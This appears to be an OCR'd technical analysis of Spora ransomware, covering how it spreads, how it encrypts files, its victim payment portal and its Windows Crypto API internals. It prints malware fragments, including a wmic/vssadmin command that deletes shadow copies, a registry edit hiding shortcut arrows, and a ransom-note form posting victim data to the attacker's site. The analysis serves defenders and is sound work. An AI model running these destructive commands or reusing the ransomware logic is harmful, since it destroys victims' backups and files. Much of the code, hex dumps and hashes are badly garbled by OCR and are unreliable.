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Nowadays, ransomware has become the most popular type of malware. Most of the new families are prepared by
amateurs (script-kiddies) and they are distributed on a small scale. There are only a few major players on this
market that are prepared by professionals. Recently, Spora ransomware joined this set. As we will see, some of the

elements suggest that there is a well-prepared team of criminals behind it.

Spora got some hype of being a ransomware that can encrypt files offline. In fact, this concept is nothing novel —
we already saw many ransomware families that can do the same. For example DMA Locker 3.0, Cerber, or some

newer editions of Locky. However, it has some other features that make it interesting.

Analyzed samples

e 0c1007ba3ef9255c004ealef983e02efe918ee59 — case #1
o 4ad4a6d26e6c8a7df0779b00a42240e7b — payload #1 — Spora ransomware <- main focus of this

analysis
o 38e645e88c85b64e5c73beel5066ec19 — payload #2 — a downloader similar to this one
e 57484440f7be94394fd851de3e416285 — case #2 (captured 06.03.2017)
o 3b80deb6d55cb0bb8560afd22238885¢c — payload — Spora ransomware

Distribution method

Spora is distributed by various ways — from phishing e-mails (described here) to infected websites dropping

malicious payloads.

Some examples of the distribution method used by this ransomware are described here (the campaign from
14.02.2017) and here (the campaign from 06.03.2017).

Behavioral analysis

After being deployed, Spora ransomware runs silently and encrypts files with selected extensions. Then, it
attempts to redeploy itself with elevated privileges. No UAC bypass mechanism has been used — instead, the UAC
popup appears repeatedly till the user accepts it:
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! User Account Contral @

Do you want to allow the following program to make

changes to this computer?

Cih_ Program name:  Windows Command Processor
Verified publisher: Microsoft Windows

Program location: "C\Windows\System32hcmd.exe” /c
"Ch\Users\tester\Desktopil.exe” /u
Show information about this publisher's certificate

(~) Hide details ves || No

Change when these notifications appear

Then, it deploys another system tool — vssadmin, for deleting shadow copies:

BN C:\Windows\system32\cmd.exe E\@

wssadmin 1.1 — Uolume Shadow Copy Service administrative command—-line tool -~
{C> Copyright 2001-2885 Microsoft Corp.

m

It doesn’t even try to be silent — command line window is displayed.

It also drops its own copy into C: directory. Several modifications are being made in existing folder’s settings.
First of all, Spora disables displaying an arrow icon to indicate shortcuts. It makes all the existing folders as
hidden and creates shortcuts to each of them. The shortcut not only deploys the original folder but also the

dropped malware sample.

Example of a command, deployed when the user clicks on the shortcut:

C:WindowsC:Windowssystem32cmd.exe /c start explorer.exe "Program Files" & type "81d59edde88fc4969d
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. ProgramData 2016-05-31 23:39 File folder

. Pythond7 2017-02-22 (1:38 File folder

. Recovery 2015-06-18 22:23 File folder

- System Volume Information 2017-03-08 17:05 File folder

. totalemd 2016-05-26 14:18 File folder

. Users 2015-06-18 22:23 File folder

. Windows 2016-05-26 14:18 File folder
= | 81d59eddeBffc4969d. exe 2017-03-06 23:05 Application 2TKB
.| autoexec.bat 2009-06-10 23:42  Windows Batch File 1KB
[%] baretail.exe 2015-06-05 18:20 Application 220 KB
% config.sys 2009-06-10 23:42 System file 1KE
M lock_me_bmp 2017-03-08 17:30 Shortcut 1 KB
) pagefilesys 2017-02-22 01:56 System file 1048 576 KB
|| PerflLogs 2017-03-08 17:30 Shortcut 1KB
L pin 2017-03-08 17:30 Shortcut 1KB
Ll Pin_Tools 2017-03-08 17:30 Shortcut 1KB
@ PODF5-C2RTZ-TZTET-0ETEY. htrml 2017-03-08 16:21 Firefox HTML Doc.. 17 KB
| Program Files 2017-03-08 17:30 Shortcut 1KE
) BET " )
| totalernd
B Users Compatibilty | Secuity | Detals | Previous Versions
3 Windows General | Shotcut | Options | Font | Layout | Colors

l Program Files

Target type: Application

Target location: system32

Target: 9d exe" &8 "emp iGN S

Spora doesn’t change filenames, nor adds extensions. Each file is encrypted with a separate key (files with the
same plaintext are encrypted to different ciphertexts). Encrypted content has high entropy, no patterns are visible,

that suggest a stream cipher or chained blocks (probably AES in CBC mode).

Visualization of a file — before and after encryption:
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“>

The malware drops related files in several locations. The following files can be found in %APPDATA%.

v Local Disk (C:) » Users » tester » AppData » Roaming » - | 3 | ﬁ
Share with - Mew folder
Mame Date modified Type Size

| Tynamics 2016-08-11 01:21 File folder

| | | 1150106411 2017-03-05 16:01 File 9 KBl
| || POBG4-34RTZ-TZTET-OETFY. HTML 2017-03-05 16:01 Firefox HTML Doc... 9 KB |
| | | POBE4-34RTZ-TZTET-OETFY.KEY 2017-03-05 16:00 KEY File 2 KBl
| B PO864-34RTZ-TZTET-OETFY.LST 2017-03-05 16:01 MASM Listing 4 KB|

The file with the .KEY extension and a ransom note in HTML format are also dropped on the Desktop:

‘| m » tester » Deskiop »

A Include in library - Share with - Mew folder
Mame Date modified Type Size
|| POTDT-40XTZ-TZTHZ-TOHTE.HTML 2017-03-04 19:50 Firefox HTML Doc... SKE
|| POTDT-40XTZ-TZTHZ-TOHTE.KEY 2017-03-04 19:50 KEY File 2KB

The .KEY file contains encrypted data about the victim that needs to be uploaded later to the attacker’s website for

the purpose of synchronizing the status of the victim.

When the encryption finishes, a ransom note pops up. In the first analyzed cases it was in a Russian language.

However, other language versions also exists, for example — English note given below:
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fSpora Ransomware X\+

€ 0 filee///Ce/ Users/tester/Desktop/POCE4 -94RTZ-TZTET-OETEY. html [ Q)'zuk:;-' ﬁ E lv ﬁ

All your work and personal files were encrypted

To restore data, obtaining guarantees and support,
follow the instructions in your account.

hitps://spora.store »
Personal Area

POCE4-94RTZ-TZTET-OETEY

What happened?

The content of the .KEY file is Base64 encoded and stored as a hidden field inside the ransom note:

<form action="https://spora.bz' method='post'>
</noscript=
<input name='u' type='hidden' value='XDATABASEG4ENCRYPTED'/><input name='b' type='hidden’
value='WWMlig+EJzL5an]jf+OWATSytsY2ELMBGXyCwS1eWe(jTx1aFjICgIBIsEsyqQOxASLEIDaL JzDIWOvoSD3P1IwKRH3WK3luTeloqggS6uikIdUL3K
DYEFTmYMCIHD2nZnhDIhBCUBLXcTg2xoZ LOtROCOB1eRMOPE3qr LgRowSWK21Vp0SackAQVyW2hacZWpARLDgWp LZvC tDh3BXDXVOxKLs9Ta64CTHSXeMs
USCaL4LQnbgPAcScIWmPDLIZpdXS1rmNhVR7gxzZIrYNVmGBREKd 26211 +bzBf TRBYCKZ 10k fSTTPVIxjoLW2+754/TWSjcDFvISxgi2t9TpKCAQSC+Z)
QADVGraal+LVMIQZ9EPhNQ1LbiJYBgtxKTv]iz(SMmPIP/BOBatMDBMRDNwdzSyDawh7taHtzDr Tt5t+C6133107gbirP

In newer versions (#2) the .KEY file was not dropped at all, and the full synchronization with the remote server
was based on its equivalent submitted automatically as the hidden field. It shows the second step in evolution of

this ransomware — to make the interface even simpler and more accessible.
Website for the victim

Ransomware itself is not looking sophisticated, except for its website for the victim and the internals of the .KEY
file (or it’s base64 equivalent). In older versions, a user was asked to upload the .KEY file to the website and all of

his/her private information are retrieved, i.e. username, infection date, status, etc.

Synchronization Required

F B T T

]
| |
i CHOOSE KEY OR |
: and . :
I SYNCHRONIZE \U /
| WARNING! |

In newer versions, there is no necessity to upload anything — when the user clicks the link on the ransom note, the

base64 content containing all the data is submitted automatically.
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il | ] ]

Spora Ransomware Xf Client Page o \+

(' @a https://spora.bz ¢ Q, Search ﬁ E 3 H O =

ID: D0263B6923287D Balance: 0.00 USD Gl Exit

. Block Date: 04.03.2017 @
| My Purchasings Username: tester L]
190% 30% 30% 40% 2 FREE
| Public Communication
Messages: 3
TESLUTE il Ty Ines 1 | CHeRy N
FULL RESTORE IMMUNITY REMOVAL FILE RESTORE FILE RESTORE

hi, if | buy the full restore, can |
restore all my files in 1 click?

Reference: You full decrypt price is 190 USD .
| sent you a question about 5 hours

before. why you charge us 190USD
but not 79USD?

Available Payments Current Balance: 0.00 USD | need an answer quickly since the
deadline.

[

o | paid the Full Restore fee, followed

the instructions, and my computer
returned to normal.

e Hella | need more time to obtain
Bitcoins. Please extend my
deadline ta march 12th. e

BitCoin MNeed Help? il
accepled here Type pour message

Send

Some information is also encoded inside the victim ID: country code (first two characters), hash, statistics about
encrypted files types (how many particular types of files has been encrypted of each category: office document,
PDF, Corel Draw, DB, Image, Archive). You can find a decoder here.

Another step taken by authors to provide a user-friendly interface is the fact that the site (although hosted as a
hidden service) does not require users to download a Tor browser, like most of the ransomware, but instead,

provides a convenient gateway at spora.bz.
Inside

Spora executable comes packed in various crypters. It has been also observed distributed in bundles with other
malware. In case #1, after defeating the first encryption layer, we can find two UPX-packed payloads. They can be
unpacked by the standard UPX application. As a result, we are getting samples that are not further obfuscated. In
the mentioned case, Spora ransomware was distributed along with a malicious downloader
(38e645e88c85b64e5c73bee15066ec19) similar to the one described here. (Since this article is dedicated to Spora

ransomware only, the second payload will not be further described).

Execution flow

Spora’s execution path varies depending on the parameter with which it has been deployed. On its initial run it is

executed without any parameter. Then, the basic steps are the following:

1. Create mutex (pattern: m)

2. Decrypt AES protected data stored in the binary (i.e. RSA public key, ransom note, sample ID)
3. Search files with the attacked extensions. Make a list of their paths and statistics of the types.

4. Generate RSA key pair (one per victim)
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5. Encrypt files with the selected extensions

After completing these operations, Spora redeploys it’s own binary — this time with Administrative privileges

(causing UAC alert to pop-up). It passes in the command-line a parameter ‘u’ that modifies the execution path.

iF'( is_u;paraﬁ )" I
{
delete_shadows(};
delete shortcuts{u5};
hObject = CreateFileW{buf, Bx80A888688, 3u, B, 3u, Bx80u, B8);
if { *CreateStreamOnHGlobal({@, 1, &ppstm) }
{
enum_drives{{int (_ stdcall =)(WCHAR »*, UIWT, int, int})sub_X4%B4BDF, @, A);
unet_enum(});
if { CrypthAcquireContextW{&hProv, @8, 8, 6x18u, OxFOOOOO8G) )
{
hKey = import_key{);
CryptReleaseContext{@, A);

(*(uoid (_ stdcall ==){_DWORD))(ME + 8))(0);

H

CloseHandle{@);

remove zoneidentifier drop_copies();
LABEL_A4:

ExitProcess{8);

Some of the steps that are executed in such case are:

1. Delete shadow copies

nenset{&pExecinfo, B8, 68);

pEzecinfo.nShow = 8;

pExecInfo.chSize = 68;

pExecInfo.lpFile = L"uwmic.exe";

pExecInfo.lpParameters = L"process call create ‘\cmd.exe /fc vssadmin.exe delete shadows fquiet fallyw™;
pEzecInfo.fHask = 1824;

vE = B;

do

if { ShellExecuteExW{&pExecInfo) )
break;
Sleep{8x18u);

2. Modify Inkfile settings (in order to hide an arrow added by default to indicate shortcut — more about it’s purpose

described in the section “Behavioral analysis™)

phkResult = this;
if { *RegOpenKeyExW(HKEY_LOCAL_MACHIME, L"SOFTWARE\\Classes\\1lnkfile", @, 2u, &phkResult) )
{

RegbeleteUalueW{phkResult, L"IsShortcut™);
RegCloseKey{phkResult};
SHChangeHotify{Gx860060688, 8, 8, 8);

H

3. Drop it’s own copy and the ransom not on every drive

4. Deploy explorer displaying the ransom note
What is attacked?

Spora ransomware attacks the following extensions:
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x1s doc xlsx docx rtf odt pdf psd dwg cdr cd mdb 1cd dbf sqlite accdb jpg jpeg tiff zip rar 7z bacl

They are grouped in several categories, used to build statistics for the attackers. The categories can be described as

such: office documents, PDF/PPT documents, Corel Draw documents, database files, images, and archives:

ext_office dd offset a_xls ; DATA XREF: check_extension_group+26)r
; UaEls™t
dd offset a_doc ; ".doc™
dd offset a_xlsx 3 Toxlswt
dd offset a_docx s “.docx™
dd offset a_rtf I o o S
dd offset a_odt ; ".odt™
ext pdf_ppt dd offset a_pdf ; DATA XREF: check extension_group+3CLr
3 U-pdf”
dd offset a_ppt i U.ppt”
dd offset a_pptx ; .pptR"
ext coreldraw dd offset a_psd ; DATA XREF: check extension_group+52Lr
; U-psd”
dd offset a_dwg ; .dug'
dd offset a_cdr ; U.cdr™
ext_databases dd offset a_cd ; DATA XREF: check_extension_group+68Lr
s .ocd™
dd offset a_mdb ; ".mdb"
dd offset a_1cd ; . icd™
dd offset a_dbf ; V.dbf"
dd offset a_sqlite ; ".sqlite”
dd offset a_accdb ; ".accdb™
ext_images dd offset a_jpg ; DATA XREF: check_extension_group+7ELr
] N [
dd offset a_jpeqg ;3 -ipeg”
dd offset a_tiff ; ULEifFT
ext_archive dd offset a_zip ; DATA XREF: check_extension_group+94lr
; Tezip”
dd offset a_rar ;3 U-rar”
dd offset a_7¥z R A
dd offset a_backup ; ".backup™
dd offset a_sql 3 .sqglt
dd offset a_bak 3 “-bak™

Several system directories are excluded from the attack:

windows program files program files (x86) games

How does the encryption works?

Encryption used by Spora ransomware is complex, follows several levels. It uses Windows Crypto API. The
executable comes with two hardcoded keys: AES key — used to decrypt elements hardcoded in the binary, and an

RSA public key — used to encrypt keys generated on the victim’s machine.

In addition to operations related to encrypting victim’s files, Spora uses Windows Crypto API for other purposes —

i.e. to encrypt temporary data, and to decrypt some elements stored in the binary.

First, it creates a file in %APPDATA % — the filename is the Volume Serial Number. This file is used for

temporary storing information.
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HE4ESHEE || > | PUSH EBP hTemplateFile = HULL

BE4ECHED |] . [ FUSH @xca Attributes = MORMAL

BE4E5HF 1 FUSH &4 Mode = OPEM_ALWAYS

BE4ASAFS FLIEH _EEP poecurity = HULL

BE4ASAF4 #0R EBEX,EBX

BE4ASAFG IMC EB

BE4RSAFT FIIZH EEX Sharefode = FILE_SHARE_READ
HE4HSAFS PUSH & CHEREEEG HAooess = GEMERIC_READ!GEMERIC_WRITE

HE4HEAFD

HO4ECERS

FIISH EST FileHame = "C:~wUsersw~tester~~Applata~~Roaming~~11501686411™
CALL DWORD FTR DS:[<&KERMELSZ.CreateFilel:] CreateFilel
MOU DWORD PTR D5: [Bx4@SEDE], ERX

The temporarily stored information is encrypted with the help of the function CryptProtectData:

[XLYE LYIINT P

(LR P o o TR

HE4A55H5 HMal) CLOCAL. 21, EAX
HE4E5EAS || . | MOW ERX, [ARG. 21
BE4ESEHE || . | MOW CLOCHL. 41, ERR
EE4ASEHE (| . | LEA ERH, [LOCAL. 23
HE4A55E 1 . | PUSH ERX pOat alut
HE4ASEEZ FUSH ExE dwF lags
HE4A55E4 FUSH EDI pPrompt Struct
HE4A55B5 FUSH EDI puReseruved
HE4A55EE FUSH spora un.8@8485378 plpt ionalEntropy
HE4ESEEER . |PUSH EDI szDatalescr
EE4EssED (| . | LEA EAH, CLOCAL. 43
HEdEscER . | PUSH ERR OATA_BLOE#* inData

. |CHLL OWoRD PTR D5:[«<&CRYPT32.CruptProtectDatal] | crypt3Z.CryptProtectlata
HEdESECE || . | TEST ERR, ERAR
HE4AsECE || o~ | JE SHORT spora_un.B8485713
HE4E55CAH || . | PUSH EST
HE4A55CE HMal ESTI, OWORD PTR DS:[<&KERMELZZ.WriteFileX] kernel32.WriteFile
BE4A5E01 . |PUSH EDI pluer lapped = HULL
BE4Ess02 || . | LEA ERX, CARG. 11
HE4ASE05 || . | PUSH ERAR pEByteshicitten = OE1ZFEES
HE4A5506 . | PUSH Bxd nBytesTollrite = Bnd
HE4A5602 LEA ERX, [LOCAL.Z1
HE4A5E08 FUSH ER=A Buffer = BA12FEE4
HE4A550C FUSH OWORD PTR D5:[E:485992] hFile = BEBEAEAE (window)
opdacees || 1 gARE EST_ lir ieF iLe
L
ERx=E812FEE4
Address |Hex dump ASCII
HE1ZFEE4| 28 1F B0 8@ CB 4C 59 8@ C4 FF 12 8@ E2 97 13 F&| ¥..LY.— #.40s5lu
HE1ZFEC4|E4 FE 12 8@ 89 57 40 8@ 81 08 A0 8@ C8 4C 59 88 ne$, W@, 8., . LY.
HE1ZFED4 | 28 1F @0 8@ F2 CC 52 2@ B8 08 a0 88 84 08 &4 81| F.. % fH. ... . #.dd
HE1ZFEE4 | BB OB A0 B8 OF &5 40 B8 B8 OB B0 B8 B8 0B A0 B8 ... . Tf0. ... aaa.
HE1Z2FEF4 |94 FF 12 ©@ B8 S8 FO FF B8 0B B0 8@ 81 05 80 884§ .. .CHa. .. .6,

BE1Z2FFEd

It includes, i.e. li

st of the fies to be encrypted (with extensions matching the list):

Address |Her dump ASCII

EESS4CCH| 74 B 43 B8 SA B8 SC 88 5@ BE 72 88 &F 8@ &7 @8|t.C.:.~.P.r.o.g.
EESI4C0E| 72 BB 61 @8 &0 B8 44 88 &1 B8 74 88 &1 BB EC 88| r.a.m.D.8. 0,80,
HESS4CEA| 40 BA &9 BB &3 BE F2 B8 &F BE ¥3 B8 &F BA &6 BA|M.i.c.r.o.s.0.F.
EES94CFE| 74 BA SC @A 57 BE &9 B8 &6E BE &4 BA &6F BE 77 88| t.~.W.i.n.d.o.w.
AEE240EE | 73 B 28 @8 4E BA 54 8@ SC 8@ 40 8@ 52 8@ 53 88| <. .M.T.~.M.5.5.
EES94016| 62 BA 61 @@ SE BA EC A 57 BA &5 8@ EC BE &3 88| c.a.n.~.W.e. l.c.
EEE94026 | 6F BE 60 B8 &5 BE 52 B8 &2 BE &1 B8 &E BE ZE 88| o.m.e.5.c.a3.n. ..
EES240260 | 6A B8 7@ 88 &7 B8 54 88 43 88 3A 88 EC 88 5@ 88| j.p.g.T.C.:.~.P.
EES24046 | 72 B8 74 B8 &2 B8 6F 88 &E BE 32 @8 37 B8 SC @8|y.t.h.o.n.2.7. .
EES9405E | 4C BE &7 @8 &2 BE SC 88 V4 8O 65 88 Y3 BB 74 @8|L.i.b.~.t.e.s.t.
EESS40EE | 5C BE &9 B8 &0 BE &7 B &3 BE &4 B Y2 BA &4 88| ~.i.m.9.h.d.r.d.
EEE2407E |61 BA 74 @A &1 BE SC BA 7@ BE 73 B8 74 BE 63 @@|a.t.a.s.p.y.t.uh.
EES94026 | 6F BA 6E @@ 2E BE &A 88 YA BE &7 88 55 8@ 43 88| o.n...j.p.g3.WU.C.
EES94096 | 2 B8 EC 88 5@ B8 V9 B8 Y4 6@ &2 B8 &F BE SE 88| :.-~.P.w.t.h.o.n.
EES240A6| 32 @8 37 @8 5C 88 4C 88 &2 88 &2 @88 EC 88 74 88| 2.7.~.L.i.b.~. 1.
EESS40EA | 65 BA F3 88 74 88 SC 88 &2 88 &0 88 &7 B8 &8 @8|e.s.t.™~.l.m.g.h.
EESS40CH| &4 BE FZ2 88 &4 BB 51 88 V4 6@ &1 88 5C BB v8 88| d.r.d.a.t. a0 p.
FESS4008| 79 BE 74 B8 &3 BE 6F B8 SE BE ZE B8 Y4 BE &9 BA|y.t.h.oun..aba i
EES940ER | 66 BB 66 @A SE BE 43 B8 SA @@ SC A8 5@ BR 79 88| f.f.*.C.z.~.P.y.
EES240FE| 74 BA 62 BA &6F BE EE BA 22 @A 37 @@ EC 8@ 4C @8|(t.h.o.n.2.7.~L
EES94EAE| 69 BA 62 B8 5C BE 74 B8 &5 BE 73 B8 F4 @@ GC 88| i.b.~.t.e.s.t.™
HAESAFTAIPA AR A9 AR PA AR A4 AR AED AR 72 AR 2F AR PR ARl = i nodoioro o7

The malware sample comes with a hardcoded key that is being imported:
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£ |PUSH_EEF

. | MU EEP,ESF
FLUSH ECH
FUSH ESI

LEA ERx,. [LOCAL. 13

BE4EEE2F
BE4E5E31
Ga4E5E32
BE4E5HIS

cruptsp. FEE2E4CE

BE4E563C PLUSH ERK
BE4EEEIT #“0OR ESI.ESI
BE4E5639 PUSH ESI
BE4EEEIA PIISH ESI
BE4E563E PLSH

B 20
FUSH 1.@84611A%
FUSH DWORD PTR DS: [ew4BSERA]
CALL OWORD PTR DS:[<&ADUVAPISZ. Crypt Importkey | advapiSz. CruptImportkey

BE4E5H30
BE4EEES 2

HE4E11A2=1. BE4E11A2

Aod ] RECILI BEZEDEZ
e - e e 105 1. 00401100
6401 1AG|[BelBel 6o oo (18 Se EE E] 08, . br. . DalZFERC | 00401105
R e oL arail CINZATEY | CEECEED
BoibilEc| BBl FeBE ot o& o8 28| spiiteae| [ DA1ZFECS | 00000000
G401 1C0| S8 BE BB Sk S0 E6 fF CO| dsacps=| —|AG1ZFECE Bhicecns
50401102 |AE F2 96 EB B0 7B CE 16| E.cATiiN e
L L D e B @61 2FED4 ?56264CB RETURN to cryptsp. TSE264CE from cruptsp. TSESH9ES
6040110518 24 1B 77 87 48 05 FE| ks+tusEis DAIZFEDS | 7562640
N e Er e [ D 1 e BOICFEDC | B048585C| RETURN o 1.0640585C from 1.BB4E5H2E
BE4011F6| 35 B2 08 SE|AS 32 46 60]E.analZe. GEIZFEEE | BE4811F8|1.864611F8

It is an AES 256 key, stored in a form of blob. Explanation on the fields in the Blob Header:

08 - PLAINTEXTKEYBLOB - key is a

The AES key is used for decrypting another key, stored in a binary - that is an RSA public key:">

CHOLE LwunD Fin DDE LwsHUYHE LDS e UYL LRI LT A AU L DS e UYL LT e Y

BE4E5E4E | . | TEST ERR,ERX

BE4E5EAEE |] .~ | JE SHORT 1.664685672

aE4Esa52 |1 . |LER ERR, [ARG. 2]

AE4E5A55 |1 . | PUSH ERR

AE4E5A5E |1 . | PUSH CARG. 11 1.884811F5
AE4E5Ea5S FUSH ESI

AE4E5Ea5H FPUSH ESI

BE4E5E5E FPUSH ESI

AE4E5AEC FUSH [[LOCAL. 11

: CALL DWORD PTR OS5z [<&A0DOVARIZZ.CruptDecrypt »] aduapidZ. CryptDecrupt
. | TEST ERH.ERX

e

ERX=B88EEEE1

Address |Hex dump HSCII
EE4E1IFE[ 20 20 20 20 2D 42 45 47 49 4E 20 E@ 55 42 4C 49| ————- EEGIN PUBLI
AE4E1z2as( 43 20 4B 45/ 59 20 20 2D 2D 20 88 40 49 47 &6 40| C KEY-———- MIGFH

BE4E1215|41 36 47 43 53 71 47 53 49 62 33 44 51 45 42 41| ABECSQESIbEDOEEA
AE401222| 51 EE 41 41 34 47 4E 41 44 43 42 69 51 4B 42 67| GUAR4GNADCE LGKEg
AE401255|( 51 43 36 43 4F 66 A 34 39 45 20 79 6A 45 &F 70| GLECOf j49EGY jEop
BE401245( 53 76 58 35 6B 62 65 43|52 51 7@ BA| 57 64 7P 57| SpPSkbeCRED. idpl
AE401Z5E5| 76 78 35 BB 4A €A 35 7A B4 €8 74 42 61 37 73 76| unBRJjSzThtBarsu
AE401265| 73 2F B2 76 G2 24 EA 5B 47 79 4F 47 20 44 74 62| 5 RuNIZPEYOEE0TH
BE401275| 47 4E 62 4C 73 77 4F 59 4B 7E B2 63 B2 &E 57 66| GNbLswOYKuRcRnllf
BE4E15E55| 67 S8 35 29 37 42 35 78 S7 67 44 32 BA 41 40 51| WESSTESkWIDZ. AMG
BE4E1295| 64 34 4B 47 49 65 B4 45 6A 73 62 6B 63 53 74 21| dIKGIeTHjsbkodtl
BE4a12A2| 44 S5 79 65 2F 51 73 75| 2@ SA SE 94|5A 42 37 79|DUyerQsudjndZBry
AE4017E5| 4B 54 45 7A| 4B 57 65 53|79 &F 6E 35|58 &0 59 77| KTEzKleSyonExmtw
AE401205| 6F 46 73 68323 34 75 65|45 72 6E 4E|4C BA 4C 5A| oFsh3dueErnbL.LZ
AE401Z05|(E1 63 4C 38 38 68 &F G2 48 €F 20 54 EE 71 41 77| Gol98hoRHOBTUGAW
AE4012E5( 49 44 41 E1 41 42 GA 20 20 20 20 20 45 4E 44 20| IDAQAE.—-—— ERD
BE4G15FE| BB 55 42 4C 49 43 28 4B 45 59 20 20 20 20 20 BA|FUBLIC KEY----- .

————— BEGIN PUBLIC KEY----- MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCHCOTj49E@Y jEopSpP5kbel

After that, the same AES key is imported again and used to decrypt other elements:

e The ransom note in HTML format:

e A hardcoded ID of the sample:
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BE4Esasz || . LEA ERX, [ARG. 21

BE4ASEES (] . FUSH ERH

BE4ASASE (] . FUSH [ARG.11 1.68481104

BE4ASAES (] . FUSH ESI

BE4E5EER (] . FUSH ESI

BE4A585E (] . FUSH ESI

GE4ASAST || . FUSH [LOCAL. 11

. CALL OWORD PTR D5:C<&AOVARIZZ.CryptDecryptx] aduap 32, CruptDecrypt
| TEST ERZ.ERR

ER-=B8888861

Hddress |Hex dump HSCII
29701107|44 32 98 22 43 23 31 59 3¢ 32 00 07 09 00 07 00| D2ACAIIE. ...

D283C31972

For every victim, Spora creates locally a fresh pair of RSA keys. Below you can see the fragment of code

generating new RSA key pair (1024 bit):">

AE4E5CA1
BE4E5CA7

v | JE i, BE4GECSE
- LER EAX DUDRD PTR 553 (ESP+2x18]

AE4ESCEE PL E

AE4EsCac PUSH Bud4@EE661

BE4E5C11 PUSH @xA4EE

BE4EEC1E PUSH DWORD PTR DS: [B:4B5ERE]

HE4EHEC1C CALL EHEREnETR O5: [<&ADUAPIZZ. CruptGenkey »] advapi3z.CryptGenkey

Explanation of the parameters:

0xA400 - AlgId: CALG RSA KEYX 0x04000001 - RSA1024BIT_KEY | CRYPT_EXPORTABLE

The private key from the generated pair is exported and Base64 encoded:

@a4a4FCe || . |PUSH EER
BE4E4FCY |1 . |PUSH Bxl
aa4a4rFCce . |PUSH CLOCAL.131 B 254
ARGELFCC - |FUSH CLOCAL.Z]
- |CALL OWORD FTR DS:[<&CRYFTS2.CryptBinaryToStringhll| crypt3z. CryptEinarsToStoingll

@ada4F0s (1. | TEST EAX, EAX
GE404F07 | .| JE spora_un, BE4EE1E1
aa4a4rFon . |PUSH [CLOCAL. 21
aadadFER - |PUSH Gud@
aada4FE:S . |CALL ESI kernel32. letrcath
aadadFES . |HOU CARG.11.ERx
@a4a4FEY (| . | CHP EAX, EBX
GE404FED || .| JE spora_un, BE4ES1E1
aa4a4FEF - |LERA ECK,[LOCAL.Z2]
aadadrFFz . |FUSH ECx kerne |32, TEEOSTCE
Ba4E4FFS - |FUSH ER=
@a4a4FF4 |1 . |PUSH Axl
Ba4E4FFs || . |PUSH EEOCAESI Br 254
Ba4a4rFFs . |PUSH CLOCAL.21
AadEadFFC - |CALE DWORD FTR DS:[<&CRYPT2Z.CryptBinaryToStringAl| crupt22, CryptEinaryToStoingd

4 E2 - |MOU ERX, [LOCAL.2]

4E5EEs || . | ADD EAX, BxZEE

4E5aaR (| . |PUSH ERX

CeEEE || . |PUSH Bx4@
SEED . |CHALE ESI kerne 22, letrcatA
BA4EEBEF . |HOU EDI, ERx
aa4EsE11 - |Hoy CLOCAL.41.EDI
@ad4a5a14 (1. |CHP EDI, EBX
GeE4ecale || .| JE spora_wn. BE4E5EFS
BA4EEEIC - |PUSH spora_un.B@4B84618 String2 = "———— BEGIM RSA FRIVATE KEY-———- rnt
BR4EEEZ 1 . |FUSH EDI [Str‘lngl = BEZTIFFE
BR4ESE2E - |CALL COWORD FTR DS:[<&KERMEL3Z. lstrcpuRA] l=trocpur
Ba4a5623 (1. | PUSH CARGEE Strinalofdd = "BEwIARACKARESUIAEYARRARREARREIK gLEL gl Z2pEk DwdekuHk WL
Fa4E5A2E ] . |HOW EST, DWORD FTR 0O5: [<&KERHELZ2. lstroatAk] kerne |32, lstroat
. |PUSH EDI ConcatString = M————| BEGIN REA PRIVATE KEY--———— ~rsn®

[FEEEEEE] - |CALL ESI LstrocatA

The formated version of the private key is stored in a buffer - along with the collected data about the machine and

the infection, including: date, username, country code, malware sample id, and statistics of encrypted file types.

Example:
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GE4E3F4F (1. |FUSH 1.o@481104 RSCIT "DES3C31972"
BE4EIFES (). |FUSH EDI
BE4E3FES (). |EAEE ESI kernel22. letrcatA
GE4EZFEY (1. |PUSH 1.0E4E3266
Ba4E3FEC (| . |PUSH EDI
Ba4e2FE0 (| . |ERAEE ESI kernel22. letrcatA
EE4E3FEF (). |FUSH EDIL
GE4E3FcE (| . |EALL EBX kernel3z. lstrlenA
dE4EsFes (| . |FUSH DWORD PTR DS: [8=48SER4] CHUE = BRE
BE4E2FES (| . |ADD EDI,EAX
GE4E2FEH (| . |PUSH DWORD PTR DS: [Ex4ECERE] {HUF = 26 (38.)
GE4E2EFE (. |PUSH DWORD PTR DS: [En4EEEIC] LUy = Bug
GE4EZFFS (| . |PUSH DWORD PTR DS: [En4EEEDS] {HUE = Bu@
GE4EZFFC (| . |PUSH DWORD PTR DS:[@n4EEED4 ] {HUF = BuE
dEd4EzFss |1, |PUSH DWORD PTR DS: [E-4ESEDE] el = w2
Ba483F2S || . |FUSH 1.o084832C4 Format = "R s TE b R R
HE4E3FE0 () . | FUSH EDI = = BEZF47ET

. |EBLL DWoRD FTR DS: [<&USERSZ.wsprintfAX] (LwsprintfA
GBE4E2FS4 |, |ADD ESP,Ex20
TEEEEaErEl | . | Plied FORE 1T PhMomaen — ARDPEARIR
4
BE4E22C4=1, BE4A52C4 [ASCIT "Hu !Xy THu THu TR ™)
Address | Hed dump ASCII
BEZF4FEE|EA B0 BA 4€[ 73 41 E2 49122 ER 4E £1)22 &2 B2 V2| E. .FUASIZZHaZbEx
BEZF4F1IE|EE &4 42 26| 4A 62 €2 47(E9 41 22 6548 20 20 00| PdBEJboGYAZeHB=,
BEZF47Z6 B 20 20 20|20 20 45 4E|44 28 52 53|41 28 58 52| . ————— O RSA FR
BEZF47I6| 49 56 41 54|45 20 4B 45(/5% 20 20 20| 20 20 80 8A| IVATE KEY-———— ‘e
BEZF4745| 38 36 2E 30|33 2ZE 32 30|31 37 YC 74 65 V3 74 65| 86,03, 2017 iteste
BEZF4FEE| 72 FC EE 4F |40 FC 44 22|28 32 43 22 21 29 27 22| 0 POLIDZE2C21972
gecrdres| 7t 32 /¢ 38| 7C 39 7C 38|7C 33 38 /{36 9 bo do|i2iermisissie. .

Then, another AES key is being generated. It is exported and encrypted by the public RSA key, that was

hardcoded in the sample. Below - encrypting the exported AES key blob:

BR4EE1 24
aa4a51 29
AA4AE 1 2E

HE4E5 120

BEA4E5147
Ba4E5 143
G485 14E
BE4E5140
Ga46514E
Ga4a514F
aa4a5151
Ba4R5152
Ga4E5 155
HE4EE1EH

Ba4ac1e3
BA4A5165

HA4AC 1R
e ]

BEA4E517H
BEA4E517E
Ga4E5170
HE4EE L PE

< [l

B 1 HEEEE L

BHesl@

DWaRD FTR DSz [Au4EE37E]

OWORD PTR DSz [<{&AOUAPISZ2. CryuptGenkey ]
EARH, EHX

JE spora_un.B848526F

FUSH EBX

FUSH EDI

LEA EAX.[ARG.Z7]

FPUSH EAX

LER ERX,.[LOCAL.&]

FUSH EAX

#OR EBX, EEX

FUSH EBX

FUSH @uz

